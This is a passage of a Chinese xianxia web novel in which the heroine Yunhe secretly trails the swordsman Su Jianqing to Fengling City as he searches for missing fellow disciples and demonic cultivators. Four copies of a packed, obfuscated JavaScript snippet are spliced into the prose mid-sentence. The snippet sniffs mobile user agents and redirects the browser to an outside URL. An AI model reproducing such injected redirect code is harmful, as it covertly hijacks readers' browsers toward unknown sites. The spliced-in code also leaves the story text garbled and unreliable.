一眼瞧见圆润的身影爬上他为她做的木制滑梯,趴在木板上头朝下往下滑。 苏见清扬唇,上前席地而坐,将软乎得跟个汤圆团子似的食铁兽抱在怀里,侧脸眷恋地蹭着她毛茸茸的脑袋。 “云团,我要离开一段时间。” 蕴禾正要不耐地将他推开,一听这话,耳朵立马竖起。 离开一段时间?去哪儿? 苏见清似是能听到她在想什么,主动解答:“枫泠城出现了魔修,师尊派我去解决。你待在家里等我回来可好?” 蕴禾听完将苏见清推开,指了指自己,又指向苏见清。 苏见清犹疑,“你是想和我一起去?” 蕴禾头还没点完,便听见坚定的一声,“不行。” 苏见清不赞同,“可能会有危险,你乖乖待在家里等我回来,我会拜托胥师姐和成师妹多来照看你。” 蕴禾生气地背过身去,不想搭理他。 苏见清只好绕到她跟前,弯腰碰她脑袋,温声道:“走之前我会多给你做些吃食放着。” 蕴禾一巴掌挥开他的手,再度背过身去。 苏见清无奈,“云团乖,你真的不能去。” 蕴禾重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743422|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一哼,以示对他的轻蔑愤怒。可苏见清却没再哄她,直起身去了厨房。 对着苏见清的背影低低吼叫一声,蕴禾爬上树,整只熊吊在树干上,翘着脚脚,撑着熊脑袋思考。 清淼在烈阳城发现了魔修的踪迹,现在枫泠城也出现了魔修,这其中会不会有什么关联? 这么多年来,妖域一直风平浪静,或许只是巧合?毕竟她统御妖域这么多年,弼隰从未把主意打在她身上。 眼下的关键是苏见清。 枫泠城? 蕴禾想了想,好像没听说过诶。 …… 苏见清手脚麻利地蒸了一上午的糕点。装了大部分吃食在芥子囊内,他去寻了胥绿真和成佩兰,拜托她们偶尔去照看蕴禾。 胥绿真将糕点收入芥子囊,笑着应承,“好,苏师弟放心,我会照顾好云团的。” 苏见清心下微松,“多谢胥师姐。” 在他的手落在芥子囊前,胥绿真道:“苏师弟,你既要去枫泠城,回程时可否去趟观沧海?” 苏见清微怔,“观沧海?” “是啊。” 胥绿真笑着点头,“我准备亲自为自己铸把剑,现下正在收集炼器材料,听闻观沧海内有一晶石名龙牙,是绝佳的炼器材料,如今走不开,只能劳烦苏师弟帮我带回来了。” “至于佩兰师妹,她喜爱灵兽灵草,若是苏师弟能为她寻来一株罕见灵草,定然比直接给灵石更令她欢喜。” “龙牙晶。” 苏见清低声重复一遍,“师姐放心,一定带到。” 长指摩挲着芥子囊,神识内视,陡然发觉尴尬。 他的灵石大部分用在修缮青竹峰,剩余的交给成佩兰做报酬,如今已不剩多少了。 这次出去,得赚些灵石才行,否则连照看云团的报酬都支付不起。 “有劳苏师弟了。” 胥绿真好奇,“师弟是要即刻出发?” “是。” “那我与你一同回青竹峰吧。”胥绿真弯起双眼,“正好我有些想云团了。” 苏见清心下感激,“多谢师姐。” 二人回到青竹峰时,蕴禾依旧挂在树上,后背靠着树干,一腿悠闲地在空中晃动,灵动得不似灵兽。 胥绿真笑着朝她挥手,“云团。” 苏见清立在树下,“云团,我要走了。” 他从怀里取出一物,“这个给你。” 吊在他手上的是只毛绒食铁兽,模样与蕴禾极为相似,圆滚滚的身体胖乎乎的脑袋,活灵活现又憨态可掬。 蕴禾终于抱着树干爬下来。 苏见清眼里掠过笑意,将毛绒玩偶系在蕴禾脖子上,温柔抚摸她的脑袋,“等我回来。” 话落,他召唤出长虹。蕴禾注意到,长虹剑鞘上也挂着一只相同的食铁兽。 流光划过天际,苏见清的身影消失无踪。 蕴禾仰着脑袋望向天空。 胥绿真柔声问:“苏师弟很快就会回来的,云团想不想吃……” 话音陡然停住。 身着青裙的窈窕身影陡然出现,蕴禾扭头看了眼定住的胥绿真,抬手拔了根头发。 轻轻一吹,头发晃晃悠悠落在胥绿真面前,化为一只食铁兽。 蕴禾唤出青羽,身形一跃,朝苏见清离开的方向追去。 她离开后,青竹峰上吹来一股风,竹涛作响,青叶翩飞,胥绿真接着说:“……糕点?” 食铁兽懒洋洋打了个哈欠,就地一卧,困倦地闭了眼。 17. 第 17 章 枫泠城地处玄清域之西,城内多红枫,民众喜在檐下挂一串风铃,风过时泠泠作响,因此得名。 从伏渊到枫泠城御剑需得整整六日,这一路上苏见清速度快,倒是仅用了四日便到达了目的地。 给自己加了足足两层结界,仗着苏见清看不见,蕴禾大摇大摆地跟随他落地,慢悠悠停在枫泠城城门前。 漆黑高大的城墙铁桶般将城池围住,城门巍峨耸立,“枫泠城”三个字龙飞凤舞,却自有一股风韵。 城墙上气息隐没,个个都是金丹,日日护卫城内安全。 蕴禾跟着苏见清入了城。 跨过城门,随处可见似火热烈的簇簇红枫,枫叶随风翩跹,无数串风铃齐声作响,整座城池宛如随着乐声起舞、热情奔放的少女。 城内很是繁华,街边店铺无论是卖地方小吃,还是奇珍异宝,抑或是灵器符篆的都有。 来往百姓衣着整洁,精神极好,巷口几名小童拾起红枫,争论谁手中的枫叶最漂亮,甚至还有少女笑着对苏见清扔出香包手帕,惹得他匆匆而逃。 蕴禾撇嘴,快速跟上。 苏见清进了一家名为百香楼的客栈,跑堂的转眼就见门口多了一人,虽看不出修为,但从周身气度来看,定是哪家大宗门的弟子,忙笑问:“这位仙君是打尖还是住店?” 苏见清:“有劳,不知俞舟可是住在此处?” “这……” 跑堂挠头,笑容有些尴尬,“仙君可是为难我了,这店里来来往往这么多客人,并非所有人都会透露姓名。” “抱歉。”苏见清补充,“他们一行三人皆是男子,两高一矮,一个相貌粗犷,一个沉默寡言,一个生了张圆脸,逢人便笑。” “哦,是他们啊。” 跑堂恍然大悟,笑道:“一说那名爱笑的仙君,我立马想起来了。他们是在店里住过没错,可昨日离开之后便再也没回来。” “昨日?”苏见清拧眉,“可知他们去了何处?” 跑堂甩着肩上帕子,“仙君说笑了。仙君的事,我这小小跑堂怎么能知晓?” 苏见清神色微凝。 魔修的事尚未解决,俞师兄他们会去何处? “仙君,仙君?” 跑堂伸手在苏见清面前挥了挥,小心问道:“仙君可要住店?” 苏见清回神。 俞舟几位师兄不知去向,大概是调查魔修去了。他初来乍到,留在此处是最好的选择,也许还能等到师兄们归来。 “劳烦帮我开一间房。” 顿了顿,苏见清补充,“就在那几位仙君的隔壁。” 跑堂笑着应承,“好嘞,仙君这边请。掌柜的,一间上房!” 目送苏见清上了楼,蕴禾显出身形走进客栈。 跑堂眼睛一亮,当即迎上,笑容都灿烂了几分,“这位仙子是打尖还是住店?” “住店。”蕴禾抛了抛手中灵石,将之放在跑堂掌心,“客房要挨着方才那名仙君。” 跑堂一怔,这位仙子与方才的仙君相识?可为何不一起入住? 他犹犹豫豫,“仙子,那位仙君的隔壁已经住人了。” “本……我加钱。” 蕴禾抱着双臂,指尖点着手腕上的储物手链,无所谓道:“若他执意不肯换个房间,便让他来寻我,我打得他同意。” 手链上某颗玉石一闪,硕大的木箱凭空出现,重重砸在跑堂面前,险些砸住他的脚。 蕴禾挥袖,木箱弹开,足足一箱灵石差点没闪瞎跑堂的眼。 “仙、仙子,这……” 掌柜的听见动静立马跑来,瞧见满满当当的灵石,脸上攀起兴奋红晕,挤到跑堂面前笑得合不拢嘴,“仙子放心,我这就去,定能游说那名客官与仙子换房,仙子稍等,我去去就回!” 蕴禾懒懒捂唇打了个哈欠。 一刻钟后,她成功住到苏见清隔壁。 蕴禾目光扫遍客房。 那几名伏渊弟子应当不算富裕,这家客栈的上房很是一般,平平无奇,没什么特别的。 她站在屋内,两指并拢在眼前一扫,黑眸内亮起绿光,墙壁如同虚设,眸中映出苏见清此刻的模样。 他端坐在床,长虹躺在手边,剑柄上挂着与之气质毫不相符的毛绒食铁兽。 这人可真是无趣,除了修炼就是修炼。 指尖点着手臂,蕴禾舔了下唇。她还真是有些想念苏见清的手艺了。 也不知这家客栈的厨子手艺如何。 蕴禾正打算叫来跑堂上菜,眼中的苏见清蓦地动了。 他收起长虹,在屋内布了道结界,离开了客房。 蕴禾分出一丝神识跟着他,传音给掌柜的,“将你们这儿最好的饭菜各上一份,送到我房里。” 耳畔突然听到一声懒散清越的女声,掌柜的也不见怪,笑着对蕴禾客房所在的方向道:“仙子稍等,马上就来。” 蕴禾半卧在床,一边感应苏见清的情况,一边等饭菜送来。 她瞧见苏见清毫无目的地在城中闲逛,似是在寻找他的几位师兄和魔修的踪迹。 可惜他将城西逛了个遍,仍旧毫无所获。 “仙子,饭菜已好。” 房门被敲响,蕴禾随手挥袖让人进来,下颌微抬,“放那儿吧。” 掌柜的带着跑堂亲自将饭食摆好,乐呵呵道:“仙子请用。” 蕴禾慢悠悠起身,在桌前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744915|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落座,视线扫过一桌饭菜。 枫泠城的菜色对她来说很是陌生,不过看着倒是色香味俱全,蕴禾夹起一片薄如蝉翼,不知什么灵兽做的肉。 肉质鲜美,鲜甜弹牙,竟然还不错。 蕴禾眉间舒展,放松用膳。 掌柜的贴心送上一壶饮子,灵液鲜红如血,泛着玛瑙般的色泽。 蕴禾浅尝一口。 没什么怪味,反而怪香的。她又喝了一口。 与此同时,蕴禾感应到苏见清停在一家酒楼前,她慢条斯理掀眸,看清那是家什么楼后,口中灵液“噗”地全喷了出去。 …… 楼前挂满了花灯,哪怕是在白日依旧流光溢彩,瑰丽绚烂。红绸曼舞,站在楼下时仰头望去,整座楼像极了漂浮在红海中。 浓重的脂粉香气从楼内传出,却不显得廉价庸俗,反而格外清幽淡雅,闻之忘俗。 几座屏风遮挡住行人视线,若隐若现的披帛裙摆与娇媚的笑声却勾得人心痒难耐,恨不得一探究竟。 忘忧阁,竟是这种忘忧。 苏见清静立不动。 路过此处时,他隐隐感应到魔气,可不过一个呼吸,却再也寻不见那缕魔气的踪影,似乎只是他的错觉。 眼下师兄们不知去向,苏见清不想放过任何一个可疑之处,思忖过后抬步进了忘忧阁。 蕴禾捂着胸口剧烈咳嗽,清亮双眸咳出水汽,兴奋紧盯苏见清的身影。 没想到啊,堂堂伏渊仙门玄陵仙尊的首席大弟子,竟然也会逛花楼。 啧啧,世风日下,知人知面不知心啊。 视野中,苏见清进了忘忧阁,立即有两名姑娘朝他迎来。 一人柔若无骨地朝他身上靠,一人素手直直伸向他胸膛,嗓音柔媚得几乎能滴出蜜来,“这位仙君生得可真好看。” 苏见清吓了一跳,连连后退,冷着脸道:“姑娘请自重。” 二人娇笑出声,含笑望他,“仙君可真有意思,这进忘忧阁的人都盼望着我们不自重,不想仙君竟反其道而行之。” 另一人捂唇轻笑,“原来仙君喜欢这种,早说嘛,仙君喜欢什么花样,奴家都会满足。” 最初说话那名姑娘倒是不管不顾地朝苏见清靠近,行走时肩上衣领滑落,露出大片白皙肌肤,染着蔻丹的手企图攀上苏见清侧脸,“仙君……” 话还未说完,就见面前的修士猛地后退,飞快转身,脚步匆匆离开,竟是落荒而逃。 “哈哈哈哈!!” 蕴禾连饭都顾不得吃了,乐不可支地瞧着苏见清通红的耳根与慌乱逃窜的背影。 就这样还想进花楼找人呢? 回伏渊再修炼个几十年吧。 18. 第 18 章 花了整整一日查探枫泠城,别说魔修了,连三个师兄的踪迹都寻不着。 苏见清无法,只好先行返回客栈。 已至黄昏,晚霞漫天,云蒸霞蔚。冠如巨伞,大片红枫堆积如云,枫叶鲜红如血,霞光落于其上,折射出诡艳的光。 苏见清站定,瞧着这十余人合围的粗壮树干。 枫泠城内,竟有一株如此大的枫树。 数不清的风铃挂在树上随风摇摆,铃声清脆,泠泠动听。 苏见清瞥眼地面影子,眉心微拢,折回客栈。 客栈大堂内人影比白日多了许多,跑堂端着菜肴穿梭其中,无论与谁说话脸上都挂着笑。 俞师兄三人既然在此住过,或许这些住客里有人见过他们。 思虑过后,苏见清视线巡睃,在某处定了一瞬,迈步在一张空桌子前落座。 大堂内多是男修,隔壁却是一男一女,那姑娘生了一张圆脸,额上一片薄薄齐刘海,梳着双髻,两条黄色丝带垂落,一身黄杉,可爱灵动。 她双手托腮,与对面男子抱怨,“咱们都来了这么多日了,什么时候走啊?” 男子笑言,“不是你说要留下见识见识那所谓的枫神祭典?” 苏见清正抬手倒茶,听到此话眉心微动。 枫神祭典?那是什么? 姑娘噘嘴撒娇,“可是还有足足四日呢,这枫泠城我都逛遍了。” 男子安慰,“听说城外有片灵蝶谷,风景甚好,明日我陪你出城游玩如何?” 姑娘面上愁绪一扫而空,喜道:“这可是你说的,不许反悔!” 男子无奈,“对你我何时反悔过?” 姑娘对他甜甜一笑,殷切夹了片灵兽肉放在男子碗里。 男子吃了,温和出声,“不知这位道友还要听到什么时候?” 与此同时,男子身上飞出一道法印,霸道朝苏见清压来。 长虹半出鞘,剑身大亮,剑气迎上法印,两相冲击,引起灵气震荡,余波涟漪般飞速往四周扩散。 大堂内所有窗棂猛地大开,狂风灌入,吹得窗子哐哐作响。 一时间,所有人的目光纷纷落在此处。 “抱歉。” 苏见清颔首对众人致歉,目光移向隔壁男子,诚挚道:“这位道友,我无意偷听二位的谈话,只是听这位姑娘说你们在此处已待了数日,想向你们打听几个人。” 那人徐徐转身,“哦?道友想打听什么人?” 看清他的脸,苏见清有些意外。 听声音,此人很是温柔和煦,不曾想竟生了一张美到雌雄难辨的脸。编着辫子的微曲墨发散在背后,发上缠绕红绳,桃花眼内偶有紫光闪烁,令那双本就深邃的眼多了几分妖异的美。 骨节分明的手指轻轻摩挲,目光一瞬不眨地看着苏见清,悄无声息将他打量,磁性嗓音含笑,“道友秀骨神清,恰如松风水月,很是不俗。” 那姑娘捧着脸赞叹一声,“阿弃,这位公子好厉害,不像别人看你那样看发呆诶。” “江篱,不可无礼。” 那人摇头无奈,“一张皮相罢了,伏渊的仙君自不会同旁人肤浅。何况这位仙君气质不俗,郎艳独绝,自己便生了一副世间罕见的容貌,岂会被他人的脸迷惑?” 此人一眼便能识破他的身份,想来对伏渊应是有几分了解,那应该也能知晓伏渊向来以实力为尊,他却张口闭口拿他容貌说事,话里话外带着嘲讽揶揄,应是在对刚才的事发泄不满。 是个傲气又有脾气的人。 苏见清行揖礼,郑重道:“伏渊苏见清,方才冒犯了两位道友,我在此向你们赔个不是。” 男子斜着眼盯了苏见清片晌,蓦地一笑,似夜下海棠,秾艳昳丽,“在下巫弃。” 姑娘不等他介绍便主动笑着开口,“我叫曲江篱。” 苏见清:“巫道友、曲道友。” 曲江篱笑盈盈问:“苏公子,你要问什么人?” 苏见清道出俞舟三人的特征,“不知二位可曾见过?” “见过啊。” 曲江篱歪了歪脑袋,发髻上的丝带随之晃动,她随手一勾,绕在指尖把玩,“那个很喜欢笑的仙君还请我吃了个烧饼呢。” 苏见清一喜,“曲道友可知他们的去向?” 曲江篱鼓着脸颊慢慢摇头,“不知道呢。” 苏见清略有失望,仍认真道谢,“多谢。” 曲江篱歪头看他,忽地哎哟一声抱怨,“阿弃你干嘛!” 巫弃捧着她的脑袋,让曲江篱的视线重新落回来,曲起指节敲下她的额头,“赶紧吃。” “哦。” 曲江篱朝他噘嘴,捏着筷子继续用膳。 苏见清道了声有劳,坐回原处,眉心绕着愁。 跑堂端来饭菜,他吃了两口便上楼打坐去了。 曲江篱偷偷看他,额头蓦地一痛,她“嘶”一声,不满地瞪着巫弃,“阿弃你干嘛打我!” 巫弃:“认真吃饭。” 曲江篱嘟囔,“我这不是在吃嘛。” 她倏地靠近,眨巴着一双小鹿眼,小声道:“阿弃,我还是第一次见到和你长得一样好看的人诶,你说他来枫泠城做什么?” 巫弃神色淡淡,“萍水相逢,管那多作甚。” 曲江篱嘟嘴,“我好奇嘛。” 巫弃给她夹了筷子菜,不动声色转移话题,“明日去灵蝶谷想梳什么发式?” 曲江篱立即兴奋道:“要和今日见到的那个姐姐一样,还要戴你送我的蜻蜓簪子。” 巫弃神色温和,“好。” 楼上,注意到苏见清已经回房的蕴禾打了个哈欠,没骨头似的靠在床头。确认没什么事儿了,她往下一缩,闭着眼昏昏欲睡。 …… 翌日。 苏见清正准备继续去寻找魔修和俞舟,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760033|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门时正巧碰见了曲江篱。 将头发编成辫子全部盘在头上,戴着一只蜻蜓金簪,穿着红衣的少女明媚又活泼,笑着和他打招呼,“苏公子好巧啊。” 苏见清颔首,“曲道友。” 曲江篱好奇,“你是要出门游玩吗?” 苏见清摇头,“是寻人。” “那位姓俞的公子?” “是。” 门内,被吵醒的蕴禾揉着眼睛坐起,眉眼是被打扰的不耐。 透过门扉,瞧清苏见清对面的人,她眉头一挑。 这人什么时候认识的姑娘? 仔细一看,蕴禾了然,哦,是昨晚那个。 门外曲江篱正要说话,身后房门陡然一开,巫弃神色平静地站在门前,“江篱,不是吵着要走吗?” “来了来了。” 曲江篱对苏见清挥手,笑道:“苏公子再会。” 她转过身去,正对上巫弃抬起的手。 眨了眨眼,曲江篱手挽上去,用自以为小声的音量道:“阿弃,都这么大了,你怎么还那么黏人。” 巫弃平静道:“你不喜欢我黏你?那下次不黏了。” “没有啦,我就是说说而已!” 曲江篱连忙摇头,拉着巫弃下楼,“咱们快走吧,去晚了该看不到灵蝶了。” 走到楼梯口,她忽然哎呀一声,回头对苏见清道:“苏公子,我想起来了,前日我曾在城内见过那名俞仙君,他们当时说要去……要去一个地方。” 苏见清大步上前,追问道:“什么地方?” 曲江篱空着的手挠着头,皱着眉头回想,“什么地方来着?碎、碎……碎什么什么楼还是阁?” 巫弃替她揉额角,温声道:“慢慢想,不着急。” “哦!我想起来了!” 曲江篱猛地一拍脑袋,拍到一半被巫弃捉住手,她亮晶晶的眼睛看向巫弃,“阿弃,我想起来了,是碎金楼!” “碎金楼?” 苏见清喃喃一声,郑重道谢,“曲道友,多谢你。” “没关系,能帮上你就好啦。苏公子,你快去吧。” 曲江篱挥手,拉着巫弃下楼,“阿弃,咱们快去灵蝶谷,去晚了该看不到谷内所有灵蝶一同飞舞的场景了。” “不急,来得及。” 二人的身影消失,苏见清去找掌柜的打听碎金楼在何处。 蕴禾一时好奇,隐了身形悄无声息跟上。 “碎金楼?” 一听这三个字,掌柜的面色有些古怪,放下算盘问:“仙君问这个作甚?” “我要去找人。” “找人啊……”掌柜的拉长尾音,挤眉弄眼道:“仙君可知无忧阁?” 记起昨日那两名女子,苏见清眉头微拧,不自然道:“知道。它与碎金楼有何关联?” 掌柜的嘿嘿一笑,指尖拨弄算盘,“无忧阁就是碎金楼啊。” 19. 第 19 章 “什、什么?”苏见清打了下磕巴,语气艰涩,“碎金楼,就是无忧阁?” “是啊。” 掌柜的点头,手肘撑在柜台上,认真对苏见清解释,“仙君有所不知,这碎金楼白日里名唤无忧阁,接待的大多是修为低下的普通人。但等到太阳下山,无忧阁便变为碎金楼,楼内姑娘各个倾国倾城,堪称绝色,接待的也是如仙君一般的人物。不过嘛……” 掌柜的指尖在柜台上点了两下,笑眯眯道:“碎金楼内的姑娘每个都身怀绝技,珍贵万分,若是想见一面,只需交上五百灵石,但若是想要姑娘作陪,那就得各凭本事了。” 苏见清语气凝重,“要进碎金楼,需交五百灵石?” “可不是。”掌柜的感慨,“要不怎么能叫碎金楼呢?” 苏见清缄默许久,向掌柜的道了谢,转身出了客栈。 凝视他沉重的背影,蕴禾沉默两息,猛地爆笑出声,“哈哈哈哈哈!” 这呆子剑修最终还是要进那碎金楼,甚至因为囊中羞涩,不得不先去赚取灵石。 和苏见清待了一个月,蕴禾对他目前的经济情况最为了解。 在伏渊时他便已经将灵石花得只剩个底,一路上风餐露宿自给自足倒是没花多少,但到枫泠城后需要住宿,又是一笔灵石出去,如今他手里最多只有几十个。 想进碎金楼,还差得远。 蕴禾有些好奇苏见清要怎么在一日之内赚取五百个灵石,出了客栈后唤出青羽,施施然追上他。 一路跟着苏见清出了城,蕴禾眼睁睁看着他御剑在周围转来转去,一时并无收获。 苏见清只好飞远些,在离枫泠城四五百里的地方猎杀一头青骨熊。这青骨熊一身皮毛可用来做法衣,骨头坚韧,水火不侵,可用于炼器,血肉更是大补之物,极受人追捧。 这头青骨熊修为已至金丹中期,更是能卖个好价钱。 果不其然,披星戴月赶回枫泠城后,苏见清将青骨熊卖出三千灵石的好价钱。 蕴禾不仅感慨,苏见清还是挺能赚钱的嘛。 天已黑,无忧阁前花灯亮起,灯内美人随着花灯转动,姿态各异,仿佛活过来一般,嬉笑怒骂无一不美。 匾额上“无忧阁”三个字已变成了“碎金楼”,字内仿佛有碎金流淌,衬得花楼富丽堂皇,奢华靡丽。 苏见清深吸一口气,绷着脸迈入碎金楼。 出乎意料的是,昨日的情形并未出现,大堂上设有数张圆桌,桌内摆满珍馐美酒。楼上设有雅间,窗门大开,隐隐有人影走动。 整座碎金楼内,唯有修士饮酒作欢,竟然没有一个女子。 怔然间,一道人影朝苏见清走近,“这位仙君,进楼请先交灵石。” 模样俊秀的男子笑着朝他伸手。 苏见清取出灵石,男子清点过后,眉眼笑意深刻几分,做出请的手势,“仙君里面请。” 略略颔首,苏见清往大堂走去。 须臾后,蕴禾现身,大摇大摆走进楼内。 男子将蕴禾拦住,“这位仙子请留步。” 蕴禾睨他,“这碎金楼有规定女子不能进?” 男子迟疑,“这……并无。” 蕴禾挥袖,一个芥子囊砸到男子怀里,他忙将东西拿住,方一抬头,便听姑娘冷漠却又似珠玉落盘般清脆好听的嗓音,“点点。灵石交了,我能进了?” 疑惑的词句从她口中吐露,却自有一股霸道张狂之意,不像询问,倒像是威胁。 男子方要回答,耳畔陡然落下一道声音,“此人修为深不可测,不可得罪,让她进来。” 他急忙肃容,“先前多有得罪,还请仙子大人有大量,莫要怪罪。仙子快里面请。” 蕴禾抬头往某个方向投去一眼,轻哼两声,越过男子步入楼内。 见苏见清坐在大堂内,她嫌弃蹙眉,对男子冷声道:“给我来个雅间。” 男子忙道:“仙子楼上请。” 上到二楼,蕴禾随意选了间雅间,抬手将男子打发了。 雅间布置处处精巧,比那破客栈不知好了多少倍,蕴禾拨开一幅空白画卷,半卧在软榻上。 鼻尖动了动,她抬手挥灭案几上的香炉,随意拿下榻边桌上的糕点。 轻轻咬了一口,蕴禾便将糕点扔回去。 太甜了,不好吃。 吃多了外头的吃食,此时此刻,她无比想念苏见清的手艺。 早知道离开的时候就在姓胥的小剑修芥子囊内拿几块糕点走好了。 反正都是给她的,她主动拿和别人给她有什么区别? 蕴禾倒在榻上,沉沉叹气,“唉。” …… 将蕴禾送到雅间后,男子悄悄去了某处,笃笃敲着房门,“主人。” “进来吧。” 沉沉男声响应,男子推门而入,反身将门阖上,单膝跪在屋内。 榻上有人半卧着,“将人安顿好了?” 男子应,“是。” 他犹豫片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770611|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “主人,方才那名姑娘,可是因之前……” “嘘。” 那人半坐起身,急急竖指,“小声点。这些人哪个我们都得罪不起,只要不涉及到我们,你管他们作甚?” 见男子闭嘴点头,他幽幽一叹,苦涩道:“我不过开门做点小生意,怎么一个个的都往我这儿跑?” 有气无力地跌回榻上,他眉目恹恹,“阿松啊,他们要什么你给什么,别的千万不要多事。” “是,主人。” …… 苏见清暗自观察碎金楼。 这楼空间极广,一共三层,一楼大堂,二楼雅间,三楼瞧着应是楼内姑娘的住处。 花灯煌煌耀眼,似置身于璀璨灯海之中,红绸流动如烟霞,奢华中透出一点媚。 堂内修士多是筑基,二楼倒是有几个金丹。 苏见清目光在大堂内一扫而过,掩去气息,无声无息去了二楼。 他在二楼走一圈,神识从每个雅间扫过,依旧一无所获。 苏见清不由将目光放在通往三楼的楼梯处。 正要迈步,轻盈脚步声从楼上传来,他推开一旁的雅间房门,闪身进去。 “谁啊?” 屋内响起一声低斥,苏见清一惊。 方才查探时这屋里分明无人,此刻为何会有姑娘的声音? 他蓦地抬头,循声望去。 一张空白画卷挡住苏见清的视线,灯光亮如繁星,于画卷上投射一道身影。 姑娘从榻上起身,姿态优雅而从容地翘起腿,一手支着额,微微偏头,通过画卷与他对视。 “你怎么进来了?” 嗓音清越,似泉水击石,偏生拖着音调时平添一股慵懒随性,带着不以为意的恣意。 苏见清目光落定。 姑娘一绺发丝被风吹起,影子在画卷上轻轻飘动。 他不知她生得是何模样,可听着这道声音,仿佛能想象出她此时的神情。 应当是骄傲的,漫不经心的。 见他不答,姑娘又道:“喂,问你话呢。” 苏见清骤然回神,俯身行揖,“无意闯入,惊扰了姑娘,抱歉。” 与此同时,楼下“铮”地响起琴声,轻柔舒缓的曲调霎那间响遍整座碎金楼。 “姑娘……” “你好烦啊。” 姑娘不满抱怨,下一瞬,一股力道将苏见清推出雅间,房门阖上之前,他看见画卷上的身影懒懒一卧,那绺发丝随之而落。 20. 第 20 章 耳畔没了那道聒噪的声音,蕴禾捂唇打了个哈欠。 苏见清不去找他的师兄和魔修,闯到她屋里作甚? 门外,苏见清站了一瞬径自离去,蕴禾从储物手链里取出一瓶玉露,半靠在榻上仰头一饮。 楼下琴声不断,她挥袖开了窗,徐徐下榻来到窗前。 几片红绸自楼顶垂落,薄纱中,身姿曼妙的姑娘赤足起舞。她亦是一身红纱,满头青丝垂落,仅在发间戴朵红牡丹,便已是千娇百媚。 姑娘舞动间露出一截盈盈可握的白皙纤腰,双足戴一对金铃铛脚链,铃声随着动作与琴声相和,矫若游龙,婀娜多姿。 蕴禾靠着窗,不时喝一口玉露。 瞧着这一幕,竟好似回到东隅城欣赏狐族美人翩跹起舞。 蕴禾来了兴致,索性坐在窗上,两腿有一搭没一搭地晃着,姿态极其放松地欣赏舞姿。 “一个姑娘竟也来这种地方消遣?” 对面雅间内,有男子毫不客气轻嘲出声,蕴禾眼也未抬,一道妖力挥出去,径直打入男子体内,逼得他倒退五六步,体内气血翻涌。 “姑娘怎么了?赏不得舞?” 蕴禾饮一口玉露,擦去唇边水渍,懒懒出声,“再多嘴,本……本姑娘不介意将你们丢出去。” “还有。” 蕴禾点着楼下的姑娘,“这姑娘今个儿我罩了,谁也不准打她的主意。话放在这儿,不怕死的尽管试试。” 楼内有一瞬的寂静。 蕴禾拧了拧眉,“继续。” 命令的语调太过理所当然,抚琴的姑娘下意识照做,那起舞的姑娘愣怔一瞬,对着蕴禾感激一笑,踮脚翩然起舞。 碎金楼内看似恢复寻常,背地里却暗潮涌动,无数人暗暗打量着蕴禾,猜测她的身份。 楼上,阿松咽了咽唾沫,小心翼翼道:“主人,那可是金丹期的修士。” “是啊。” 碎金楼主幽幽一叹,“金丹期的修士,在那位仙子手中竟走不过一招。阿松啊,你可千万记得,这种大人物我们惹不起,千万要躲着。” 阿松连连点头。 另一处也有人在谈论蕴禾。 “今日这碎金楼内怎么来了这么多大人物?” “会不会……是为了那几人来的?” “这女子进入碎金楼后一直待在雅间,并不像是来找人的,倒是那名伏渊弟子有些棘手。” “老三已经将人引开了,今晚就送他和他的师兄弟们团聚。” “嗯。”最初说话那人道:“时间紧迫,凡事小心为上,断不可因一时疏忽坏了主上大计。” “大哥放心,我省得。就是这名女子……” “待会儿找人去试试深浅,若她识趣,将之引出城。若是不识趣,那便是她自找的。” “是。” …… 红衣姑娘一个旋身,终止这支舞蹈。 她对众人屈膝行礼,径直上楼朝着蕴禾而来,对她温柔一笑,“小女子加春,多谢仙子相助。” 加春柔声道:“不知今夜加春可有荣幸与仙子共饮?” 蕴禾摆手,“不必,你回吧。” 她还得看着苏见清呢。 等等。 蕴禾拧眉,总觉得她好像忽略了什么。 两息之后,她猛地抬头。 苏见清呢?! 神识覆盖整座碎金楼,寻找苏见清的踪迹。 没有,没有,哪哪都没有。 苏见清跑哪儿去了? 